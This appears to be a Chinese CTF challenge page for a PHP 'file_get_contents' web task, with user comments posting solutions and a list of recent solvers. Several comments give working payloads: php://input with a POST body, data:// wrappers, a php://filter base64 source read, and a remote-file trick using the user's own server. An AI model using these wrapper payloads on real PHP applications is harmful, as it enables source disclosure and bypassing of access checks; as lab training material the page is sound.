file_get_contentsWEB 未解决

分数: 30 金币: 3
题目作者: harry
一  血: npfs
一血奖励: 2金币
解  决: 5589
提  示:
描  述:
file_get_contents????
评论
zdfy005 3年前

POST /?ac=flag&fn=php://input HTTP/1.1 删除Content-Type: POST flag

回复 0

wjwjwjwcwcwc 3年前

http://114.67.175.224:18854/?ac=1&fn=php://input hackbar中post赋值1

回复 0

aWxvdmVjdGY 4年前

使用php://input伪协议绕过 ① 将要GET的参数?xxx=php://input ② 用post方法传入想要file_get_contents()函数返回的值 用data://伪协议绕过 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码 或者将url改为:?xxx=data:te

回复 2

笨笨笨蛋 4年前

看到file_get_contents就应该想到用php://input 学到了

回复 1

有的是饭 4年前

?ac=2&fn=data://text/plain,2 就用伪协议传入文件流,我就随便写了个2,直接出flag。

回复 3
Raki 4年前

牛!

回复 1

中年七叔 4年前

我是直接利用 file_get_contents可以读取远程文件内容,kali上开个http,随便创建的txt,fn传我的服务器上的这个txt,这样判断条件为真,就直接显示flag了

回复 1

我赌你的枪里没有子弹 4年前

?fn=php://filter/read=convert.base64-encode/resource=index.php&ac=。。。。。。。 index.php能读取。。

回复 0
我赌你的枪里没有子弹 4年前

@z007 base64_encode(file_get_contents("php://filter/read=convert.base64-encode/resource=http://114.67.175.224:16878/index.php"));

回复 0

z007 4年前

你好,可以详述一下吗?ac值怎么得到index.php的base64呢?

回复 0

spiritboy 4年前

伪协议作为fn秒出,呜我的金币。。。

回复 0

Inf0 4年前

rnm 退钱

回复 1

落日星辰 4年前

?ac=bugku&fn=flag.txt

回复 0

WriteUp

image
harry

3 金币

评分(8)

解题动态

icu 攻破了该题 20小时前
magning 攻破了该题 1天前
1123k 攻破了该题 1天前
cocogalet1 攻破了该题 1天前
jiuxian112 攻破了该题 1天前
青00衿 攻破了该题 2天前
liweiyi 攻破了该题 2天前
qi1102 攻破了该题 2天前
EvinZe 攻破了该题 2天前
张皓杰 攻破了该题 3天前
CCC1112 攻破了该题 3天前
moque 攻破了该题 3天前
南汐 攻破了该题 3天前
牛乳酸菌 攻破了该题 4天前
Amy 攻破了该题 4天前
小懒 攻破了该题 4天前
fss 攻破了该题 4天前
Srouven 攻破了该题 4天前
cl12 攻破了该题 4天前
suhannn 攻破了该题 5天前
问题反馈